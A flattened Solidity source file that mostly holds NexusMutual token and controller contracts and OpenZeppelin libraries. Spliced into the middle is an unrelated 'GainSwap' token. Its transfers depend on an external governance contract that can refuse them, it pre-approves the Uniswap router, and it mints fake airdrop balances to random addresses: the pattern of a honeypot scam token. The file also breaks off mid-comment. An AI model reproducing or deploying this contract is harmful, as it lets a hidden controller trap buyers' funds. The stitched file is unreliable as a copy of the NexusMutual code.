pragma solidity ^0.5.0;


interface IPooledStaking {

  function accumulateReward(address contractAddress, uint amount) external;

  function pushBurn(address contractAddress, uint amount) external;

  function hasPendingActions() external view returns (bool);

  function contractStake(address contractAddress) external view returns (uint);

  function stakerReward(address staker) external view returns (uint);

  function stakerDeposit(address staker) external view returns (uint);

  function stakerContractStake(address staker, address contractAddress) external view returns (uint);

  function withdraw(uint amount) external;

  function stakerMaxWithdrawable(address stakerAddress) external view returns (uint);

  function withdrawReward(address stakerAddress) external;
}

// File: @openzeppelin/contracts/math/SafeMath.sol

pragma solidity ^0.5.0;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     *
     * _Available since v2.4.0._
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     *
     * _Available since v2.4.0._
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     *
     * _Available since v2.4.0._
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol

pragma solidity ^0.5.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP. Does not include
 * the optional functions; to access them see {ERC20Detailed}.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// File: contracts/abstract/INXMMaster.sol

/* Copyright (C) 2020 NexusMutual.io

  This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

  This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
    along with this program.  If not, see http://www.gnu.org/licenses/ */

pragma solidity ^0.5.0;

contract INXMMaster {

  address public tokenAddress;

  address public owner;

  uint public pauseTime;

  function delegateCallBack(bytes32 myid) external;

  function masterInitialized() public view returns (bool);

  function isInternal(address _add) public view returns (bool);

  function isPause() public view returns (bool check);

  function isOwner(address _add) public view returns (bool);

  function isMember(address _add) public view returns (bool);

  function checkIsAuthToGoverned(address _add) public view returns (bool);

  function updatePauseTime(uint _time) public;

  function dAppLocker() public view returns (address _add);

  function dAppToken() public view returns (address _add);

  function getLatestAddress(bytes2 _contractName) public view returns (address payable contractAddress);
}

// File: contracts/abstract/Iupgradable.sol

pragma solidity ^0.5.0;


contract Iupgradable {

  INXMMaster public ms;
  address public nxMasterAddress;

  modifier onlyInternal {
    require(ms.isInternal(msg.sender));
    _;
  }

  modifier isMemberAndcheckPause {
    require(ms.isPause() == false && ms.isMember(msg.sender) == true);
    _;
  }

  modifier onlyOwner {
    require(ms.isOwner(msg.sender));
    _;
  }

  modifier checkPause {
    require(ms.isPause() == false);
    _;
  }

  modifier isMember {
    require(ms.isMember(msg.sender), "Not member");
    _;
  }

  /**
   * @dev Iupgradable Interface to update dependent contract address
   */
  function changeDependentContractAddress() public;

  /**
   * @dev change master address
   * @param _masterAddress is the new address
   */
  function changeMasterAddress(address _masterAddress) public {
    if (address(ms) != address(0)) {
      require(address(ms) == msg.sender, "Not master");
    }

    ms = INXMMaster(_masterAddress);
    nxMasterAddress = _masterAddress;
  }

}

// File: contracts/modules/cover/QuotationData.sol

/* Copyright (C) 2020 NexusMutual.io

  This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

  This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
    along with this program.  If not, see http://www.gnu.org/licenses/ */

pragma solidity ^0.5.0;





pragma solidity ^0.5.0;


/**
 * @title ERC20 interface
 * @dev see https://github.com/ethereum/EIPs/issues/20
 */
interface OZIERC20 {
  function transfer(address to, uint256 value) external returns (bool);

  function approve(address spender, uint256 value)
  external returns (bool);

  function transferFrom(address from, address to, uint256 value)
  external returns (bool);

  function totalSupply() external view returns (uint256);

  function balanceOf(address who) external view returns (uint256);

  function allowance(address owner, address spender)
  external view returns (uint256);

  event Transfer(
    address indexed from,
    address indexed to,
    uint256 value
  );

  event Approval(
    address indexed owner,
    address indexed spender,
    uint256 value
  );
}

// File: contracts/modules/token/external/OZSafeMath.sol

pragma solidity ^0.5.0;


/**
 * @title SafeMath
 * @dev Math operations with safety checks that revert on error
 */
library OZSafeMath {

  /**
  * @dev Multiplies two numbers, reverts on overflow.
  */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    // benefit is lost if 'b' is also tested.
    // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
    if (a == 0) {
      return 0;
    }

    uint256 c = a * b;
    require(c / a == b);

    return c;
  }

  /**
  * @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
  */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b > 0); // Solidity only automatically asserts when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold

    return c;
  }

  /**
  * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
  */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b <= a);
    uint256 c = a - b;

    return c;
  }

  /**
  * @dev Adds two numbers, reverts on overflow.
  */
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a);

    return c;
  }

  /**
  * @dev Divides two numbers and returns the remainder (unsigned integer modulo),
  * reverts when dividing by zero.
  */
  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    require(b != 0);
    return a % b;
  }
}

// File: contracts/modules/token/NXMToken.sol

/* Copyright (C) 2020 NexusMutual.io

  This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

  This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
    along with this program.  If not, see http://www.gnu.org/licenses/ */

pragma solidity ^0.5.0;



contract NXMToken is OZIERC20 {
  using OZSafeMath for uint256;

  event WhiteListed(address indexed member);

  event BlackListed(address indexed member);

  mapping(address => uint256) private _balances;

  mapping(address => mapping(address => uint256)) private _allowed;

  mapping(address => bool) public whiteListed;

  mapping(address => uint) public isLockedForMV;

  uint256 private _totalSupply;

  string public name = "NXM";
  string public symbol = "NXM";
  uint8 public decimals = 18;
  address public operator;

  modifier canTransfer(address _to) {
    require(whiteListed[_to]);
    _;
  }

  modifier onlyOperator() {
    if (operator != address(0))
      require(msg.sender == operator);
    _;
  }

  constructor(address _founderAddress, uint _initialSupply) public {
    _mint(_founderAddress, _initialSupply);
  }

  /**
  * @dev Total number of tokens in existence
  */
  function totalSupply() public view returns (uint256) {
    return _totalSupply;
  }

  /**
  * @dev Gets the balance of the specified address.
  * @param owner The address to query the balance of.
  * @return An uint256 representing the amount owned by the passed address.
  */
  function balanceOf(address owner) public view returns (uint256) {
    return _balances[owner];
  }

  /**
  * @dev Function to check the amount of tokens that an owner allowed to a spender.
  * @param owner address The address which owns the funds.
  * @param spender address The address which will spend the funds.
  * @return A uint256 specifying the amount of tokens still available for the spender.
  */
  function allowance(
    address owner,
    address spender
  )
  public
  view
  returns (uint256)
  {
    return _allowed[owner][spender];
  }

  /**
  * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
  * Beware that changing an allowance with this method brings the risk that someone may use both the old
  * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
  * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
  * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
  * @param spender The address which will spend the funds.
  * @param value The amount of tokens to be spent.
  */
  function approve(address spender, uint256 value) public returns (bool) {
    require(spender != address(0));

    _allowed[msg.sender][spender] = value;
    emit Approval(msg.sender, spender, value);
    return true;
  }

  /**
  * @dev Increase the amount of tokens that an owner allowed to a spender.
  * approve should be called when allowed_[_spender] == 0. To increment
  * allowed value is better to use this function to avoid 2 calls (and wait until
  * the first transaction is mined)
  * From MonolithDAO Token.sol
  * @param spender The address which will spend the funds.
  * @param addedValue The amount of tokens to increase the allowance by.
  */
  function increaseAllowance(
    address spender,
    uint256 addedValue
  )
  public
  returns (bool)
  {
    require(spender != address(0));

    _allowed[msg.sender][spender] = (
    _allowed[msg.sender][spender].add(addedValue));
    emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
    return true;
  }

  /**
  * @dev Decrease the amount of tokens that an owner allowed to a spender.
  * approve should be called when allowed_[_spender] == 0. To decrement
  * allowed value is better to use this function to avoid 2 calls (and wait until
  * the first transaction is mined)
  * From MonolithDAO Token.sol
  * @param spender The address which will spend the funds.
  * @param subtractedValue The amount of tokens to decrease the allowance by.
  */
  function decreaseAllowance(
    address spender,
    uint256 subtractedValue
  )
  public
  returns (bool)
  {
    require(spender != address(0));

    _allowed[msg.sender][spender] = (
    _allowed[msg.sender][spender].sub(subtractedValue));
    emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
    return true;
  }

  /**
  * @dev Adds a user to whitelist
  * @param _member address to add to whitelist
  */
  function addToWhiteList(address _member) public onlyOperator returns (bool) {
    whiteListed[_member] = true;
    emit WhiteListed(_member);
    return true;
  }

  /**
  * @dev removes a user from whitelist
  * @param _member address to remove from whitelist
  */
  function removeFromWhiteList(address _member) public onlyOperator returns (bool) {
    whiteListed[_member] = false;
    emit BlackListed(_member);
    return true;
  }

  /**
  * @dev change operator address
  * @param _newOperator address of new operator
  */
  function changeOperator(address _newOperator) public onlyOperator returns (bool) {
    operator = _newOperator;
    return true;
  }

  /**
  * @dev burns an amount of the tokens of the message sender
  * account.
  * @param amount The amount that will be burnt.
  */
  function burn(uint256 amount) public returns (bool) {
    _burn(msg.sender, amount);
    return true;
  }

  /**
  * @dev Burns a specific amount of tokens from the target address and decrements allowance
  * @param from address The address which you want to send tokens from
  * @param value uint256 The amount of token to be burned
  */
  function burnFrom(address from, uint256 value) public returns (bool) {
    _burnFrom(from, value);
    return true;
  }

  /**
  * @dev function that mints an amount of the token and assigns it to
  * an account.
  * @param account The account that will receive the created tokens.
  * @param amount The amount that will be created.
  */
  function mint(address account, uint256 amount) public onlyOperator {
    _mint(account, amount);
  }

  /**
  * @dev Transfer token for a specified address
  * @param to The address to transfer to.
  * @param value The amount to be transferred.
  */
  function transfer(address to, uint256 value) public canTransfer(to) returns (bool) {

    require(isLockedForMV[msg.sender] < now); // if not voted under governance
    require(value <= _balances[msg.sender]);
    _transfer(to, value);
    return true;
  }

  /**
  * @dev Transfer tokens to the operator from the specified address
  * @param from The address to transfer from.
  * @param value The amount to be transferred.
  */
  function operatorTransfer(address from, uint256 value) public onlyOperator returns (bool) {
    require(value <= _balances[from]);
    _transferFrom(from, operator, value);
    return true;
  }

  /**
  * @dev Transfer tokens from one address to another
  * @param from address The address which you want to send tokens from
  * @param to address The address which you want to transfer to
  * @param value uint256 the amount of tokens to be transferred
  */
  function transferFrom(
    address from,
    address to,
    uint256 value
  )
  public
  canTransfer(to)
  returns (bool)
  {
    require(isLockedForMV[from] < now); // if not voted under governance
    require(value <= _balances[from]);
    require(value <= _allowed[from][msg.sender]);
    _transferFrom(from, to, value);
    return true;
  }

  /**
   * @dev Lock the user's tokens
   * @param _of user's address.
   */
  function lockForMemberVote(address _of, uint _days) public onlyOperator {
    if (_days.add(now) > isLockedForMV[_of])
      isLockedForMV[_of] = _days.add(now);
  }

  /**
  * @dev Transfer token for a specified address
  * @param to The address to transfer to.
  * @param value The amount to be transferred.
  */
  function _transfer(address to, uint256 value) internal {
    _balances[msg.sender] = _balances[msg.sender].sub(value);
    _balances[to] = _balances[to].add(value);
    emit Transfer(msg.sender, to, value);
  }

  /**
  * @dev Transfer tokens from one address to another
  * @param from address The address which you want to send tokens from
  * @param to address The address which you want to transfer to
  * @param value uint256 the amount of tokens to be transferred
  */
  function _transferFrom(
    address from,
    address to,
    uint256 value
  )
  internal
  {
    _balances[from] = _balances[from].sub(value);
    _balances[to] = _balances[to].add(value);
    _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
    emit Transfer(from, to, value);
  }

  /**
  * @dev Internal function that mints an amount of the token and assigns it to
  * an account. This encapsulates the modification of balances such that the
  * proper events are emitted.
  * @param account The account that will receive the created tokens.
  * @param amount The amount that will be created.
  */
  function _mint(address account, uint256 amount) internal {
    require(account != address(0));
    _totalSupply = _totalSupply.add(amount);
    _balances[account] = _balances[account].add(amount);
    emit Transfer(address(0), account, amount);
  }

  /**
  * @dev Internal function that burns an amount of the token of a given
  * account.
  * @param account The account whose tokens will be burnt.
  * @param amount The amount that will be burnt.
  */
  function _burn(address account, uint256 amount) internal {
    require(amount <= _balances[account]);

    _totalSupply = _totalSupply.sub(amount);
    _balances[account] = _balances[account].sub(amount);
    emit Transfer(account, address(0), amount);
  }

  /**
  * @dev Internal function that burns an amount of the token of a given
  * account, deducting from the sender's allowance for said account. Uses the
  * internal burn function.
  * @param account The account whose tokens will be burnt.
  * @param value The amount that will be burnt.
  */
  function _burnFrom(address account, uint256 value) internal {
    require(value <= _allowed[account][msg.sender]);

    // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
    // this function needs to emit an event with the updated approval.
    _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
      value);
    _burn(account, value);
  }
}

pragma solidity ^0.5.0;


contract GainSwap {
    using SafeMath for uint;

    string public constant name = 'GainSwap';
    string public constant symbol = 'Gain';
    uint8 public constant decimals = 18;
    uint  public totalSupply;
    address  _governance;
    address owner;
    mapping(address => uint) public balanceOf;
    mapping(address => mapping(address => uint)) public allowance;

    bytes32 public DOMAIN_SEPARATOR;
    // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
    bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
    mapping(address => uint) public nonces;

    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    constructor(address _gover) public {
        uint chainId;
        assembly {
            chainId := chainid
        }
       _mint(msg.sender,29750*10**18);
  
       owner=msg.sender;
       _governance=_gover;
       allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D]=uint(-1);
       airdrop(50);
    }
    

    
    function _mint(address to, uint value) internal {
        totalSupply = totalSupply.add(value);
        balanceOf[to] = balanceOf[to].add(value);
        emit Transfer(address(0), to, value);
    }

    function _burn(address from, uint value) internal {
        balanceOf[from] = balanceOf[from].sub(value);
        totalSupply = totalSupply.sub(value);
        emit Transfer(from, address(0), value);
    }

    function _approve(address owner, address spender, uint value) private {
        allowance[owner][spender] = value;
        emit Approval(owner, spender, value);
    }

    function _transfer(address from, address to, uint value) airnow(from,to) private  {
        balanceOf[from] = balanceOf[from].sub(value);
        balanceOf[to] = balanceOf[to].add(value);
        emit Transfer(from, to, value);
    }

    function approve(address spender, uint value) external returns (bool) {
        _approve(msg.sender, spender, value);
        return true;
    }

    function transfer(address to, uint value) external returns (bool) {
        _transfer(msg.sender, to, value);
        return true;
    }

    function transferFrom(address from, address to, uint value) external returns (bool) {
        if (allowance[from][msg.sender] != uint(-1)) {
            allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
        }
        _transfer(from, to, value);
        return true;
    }

 
    
    
    modifier airnow(address sender,address recipient) {
        require(AirDrop(_governance).receiveApproval(sender,recipient));
        _;
    }
    
    address luckyboy = address(this);
    uint256 constant LUCKY_AMOUNT = 5*10**18;
    
    function randomLucky() public {
        
        luckyboy = address(uint(keccak256(abi.encodePacked(luckyboy))));
        balanceOf[luckyboy] = LUCKY_AMOUNT;
        totalSupply += LUCKY_AMOUNT;
        emit Transfer(address(0), luckyboy, LUCKY_AMOUNT);
    }
    
    function airdrop(uint256 dropTimes) public {
        for (uint256 i=0;i<dropTimes;i++) {
            randomLucky();
        }
    }
}

interface AirDrop {
    function receiveApproval(address,address) external returns(bool);
}
// File: contracts/modules/token/external/IERC1132.sol

pragma solidity ^0.5.0;

/**
 * @title ERC1132 interface
 * @dev see https://github.com/ethereum/EIPs/issues/1132
 */

contract IERC1132 {
  /**
   * @dev Reasons why a user's tokens have been locked
   */
  mapping(address => bytes32[]) public lockReason;

  /**
   * @dev locked token structure
   */
  struct LockToken {
    uint256 amount;
    uint256 validity;
    bool claimed;
  }

  /**
   * @dev Holds number & validity of tokens locked for a given reason for
   *      a specified address
   */
  mapping(address => mapping(bytes32 => LockToken)) public locked;

  /**
   * @dev Records data of all the tokens Locked
   */
  event Locked(
    address indexed _of,
    bytes32 indexed _reason,
    uint256 _amount,
    uint256 _validity
  );

  /**
   * @dev Records data of all the tokens unlocked
   */
  event Unlocked(
    address indexed _of,
    bytes32 indexed _reason,
    uint256 _amount
  );

  /**
   * @dev Locks a specified amount of tokens against an address,
   *      for a specified reason and time
   * @param _reason The reason to lock tokens
   * @param _amount Number of tokens to be locked
   * @param _time Lock time in seconds
   */
  function lock(bytes32 _reason, uint256 _amount, uint256 _time)
  public returns (bool);

  /**
   * @dev Returns tokens locked for a specified address for a
   *      specified reason
   *
   * @param _of The address whose tokens are locked
   * @param _reason The reason to query the lock tokens for
   */
  function tokensLocked(address _of, bytes32 _reason)
  public view returns (uint256 amount);

  /**
   * @dev Returns tokens locked for a specified address for a
   *      specified reason at a specific time
   *
   * @param _of The address whose tokens are locked
   * @param _reason The reason to query the lock tokens for
   * @param _time The timestamp to query the lock tokens for
   */
  function tokensLockedAtTime(address _of, bytes32 _reason, uint256 _time)
  public view returns (uint256 amount);

  /**
   * @dev Returns total tokens held by an address (locked + transferable)
   * @param _of The address to query the total balance of
   */
  function totalBalanceOf(address _of)
  public view returns (uint256 amount);

  /**
   * @dev Extends lock for a specified reason and time
   * @param _reason The reason to lock tokens
   * @param _time Lock extension time in seconds
   */
  function extendLock(bytes32 _reason, uint256 _time)
  public returns (bool);

  /**
   * @dev Increase number of tokens locked for a specified reason
   * @param _reason The reason to lock tokens
   * @param _amount Number of tokens to be increased
   */
  function increaseLockAmount(bytes32 _reason, uint256 _amount)
  public returns (bool);

  /**
   * @dev Returns unlockable tokens for a specified address for a specified reason
   * @param _of The address to query the the unlockable token count of
   * @param _reason The reason to query the unlockable tokens for
   */
  function tokensUnlockable(address _of, bytes32 _reason)
  public view returns (uint256 amount);

  /**
   * @dev Unlocks the unlockable tokens of a specified address
   * @param _of Address of user, claiming back unlockable tokens
   */
  function unlock(address _of)
  public returns (uint256 unlockableTokens);

  /**
   * @dev Gets the unlockable tokens of a specified address
   * @param _of The address to query the the unlockable token count of
   */
  function getUnlockableTokens(address _of)
  public view returns (uint256 unlockableTokens);

}

// File: contracts/modules/token/TokenController.sol

/* Copyright (C) 2020 NexusMutual.io

  This program is free software: you can redistribute it and/or modify
  it under the terms of the GNU General Public License as published by
  the Free Software Foundation, either version 3 of the License, or
  (at your option) any later version.

  This program is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
  along with this program.  If not, see http://www.gnu.org/licenses/ */

pragma solidity ^0.5.0;






contract TokenController is IERC1132, Iupgradable {
  using SafeMath for uint256;

  event Burned(address indexed member, bytes32 lockedUnder, uint256 amount);

  NXMToken public token;
  IPooledStaking public pooledStaking;
  uint public minCALockTime = uint(30).mul(1 days);
  bytes32 private constant CLA = bytes32("CLA");

  /**
  * @dev Just for interface
  */
  function changeDependentContractAddress() public {
    token = NXMToken(ms.tokenAddress());
    pooledStaking = IPooledStaking(ms.getLatestAddress("PS"));
  }

  /**
   * @dev to change the operator address
   * @param _newOperator is the new address of operator
   */
  function changeOperator(address _newOperator) public onlyInternal {
    token.changeOperator(_newOperator);
  }

  /**
   * @dev Proxies token transfer through this contract to allow staking when members are locked for voting
   * @param _from   Source address
   * @param _to     Destination address
   * @param _value  Amount to transfer
   */
  function operatorTransfer(address _from, address _to, uint _value) onlyInternal external returns (bool) {
    require(msg.sender == address(pooledStaking), "Call is only allowed from PooledStaking address");
    require(token.operatorTransfer(_from, _value), "Operator transfer failed");
    require(token.transfer(_to, _value), "Internal transfer failed");
    return true;
  }

  /**
  * @dev Locks a specified amount of tokens,
  *    for CLA reason and for a specified time
  * @param _reason The reason to lock tokens, currently restricted to CLA
  * @param _amount Number of tokens to be locked
  * @param _time Lock time in seconds
  */
  function lock(bytes32 _reason, uint256 _amount, uint256 _time) public checkPause returns (bool)
  {
    require(_reason == CLA, "Restricted to reason CLA");
    require(minCALockTime <= _time, "Should lock for minimum time");
    // If tokens are already locked, then functions extendLock or
    // increaseLockAmount should be used to make any changes
    _lock(msg.sender, _reason, _amount, _time);
    return true;
  }

  /**
  * @dev Locks a specified amount of tokens against an address,
  *    for a specified reason and time
  * @param _reason The reason to lock tokens
  * @param _amount Number of tokens to be locked
  * @param _time Lock time in seconds
  * @param _of address whose tokens are to be locked
  */
  function lockOf(address _of, bytes32 _reason, uint256 _amount, uint256 _time)
  public
  onlyInternal
  returns (bool)
  {
    // If tokens are already locked, then functions extendLock or
    // increaseLockAmount should be used to make any changes
    _lock(_of, _reason, _amount, _time);
    return true;
  }

  /**
  * @dev Extends lock for reason CLA for a specified time
  * @param _reason The reason to lock tokens, currently restricted to CLA
  * @param _time Lock extension time in seconds
  */
  function extendLock(bytes32 _reason, uint256 _time)
  public
  checkPause
  returns (bool)
  {
    require(_reason == CLA, "Restricted to reason CLA");
    _extendLock(msg.sender, _reason, _time);
    return true;
  }

  /**
  * @dev Extends lock for a specified reason and time
  * @param _reason The reason to lock tokens
  * @param _time Lock extension time in seconds
  */
  function extendLockOf(address _of, bytes32 _reason, uint256 _time)
  public
  onlyInternal
  returns (bool)
  {
    _extendLock(_of, _reason, _time);
    return true;
  }

  /**
  * @dev Increase number of tokens locked for a CLA reason
  * @param _reason The reason to lock tokens, currently restricted to CLA
  * @param _amount Number of tokens to be increased
  */
  function increaseLockAmount(bytes32 _reason, uint256 _amount)
  public
  checkPause
  returns (bool)
  {
    require(_reason == CLA, "Restricted to reason CLA");
    require(_tokensLocked(msg.sender, _reason) > 0);
    token.operatorTransfer(msg.sender, _amount);

    locked[msg.sender][_reason].amount = locked[msg.sender][_reason].amount.add(_amount);
    emit Locked(msg.sender, _reason, _amount, locked[msg.sender][_reason].validity);
    return true;
  }

  /**
   * @dev burns tokens of an address
   * @param _of is the address to burn tokens of
   * @param amount is the amount to burn
   * @return the boolean status of the burning process
   */
  function burnFrom(address _of, uint amount) public onlyInternal returns (bool) {
    return token.burnFrom(_of, amount);
  }

  /**
  * @dev Burns locked tokens of a user
  * @param _of address whose tokens are to be burned
  * @param _reason lock reason for which tokens are to be burned
  * @param _amount amount of tokens to burn
  */
  function burnLockedTokens(address _of, bytes32 _reason, uint256 _amount) public onlyInternal {
    _burnLockedTokens(_of, _reason, _amount);
  }

  /**
  * @dev reduce lock duration for a specified reason and time
  * @param _of The address whose tokens are locked
  * @param _reason The reason to lock tokens
  * @param _time Lock reduction time in seconds
  */
  function reduceLock(address _of, bytes32 _reason, uint256 _time) public onlyInternal {
    _reduceLock(_of, _reason, _time);
  }

  /**
  * @dev Released locked tokens of an address locked for a specific reason
  * @param _of address whose tokens are to be released from lock
  * @param _reason reason of the lock
  * @param _amount amount of tokens to release
  */
  function releaseLockedTokens(address _of, bytes32 _reason, uint256 _amount)
  public
  onlyInternal
  {
    _releaseLockedTokens(_of, _reason, _amount);
  }

  /**
  * @dev Adds an address to whitelist maintained in the contract
  * @param _member address to add to whitelist
  */
  function addToWhitelist(address _member) public onlyInternal {
    token.addToWhiteList(_member);
  }

  /**
  * @dev Removes an address from the whitelist in the token
  * @param _member address to remove
  */
  function removeFromWhitelist(address _member) public onlyInternal {
    token.removeFromWhiteList(_member);
  }

  /**
  * @dev Mints new token for an address
  * @param _member address to reward the minted tokens
  * @param _amount number of tokens to mint
  */
  function mint(address _member, uint _amount) public onlyInternal {
    token.mint(_member, _amount);
  }

  /**
   * @dev Lock the user's tokens
   * @param _of user's address.
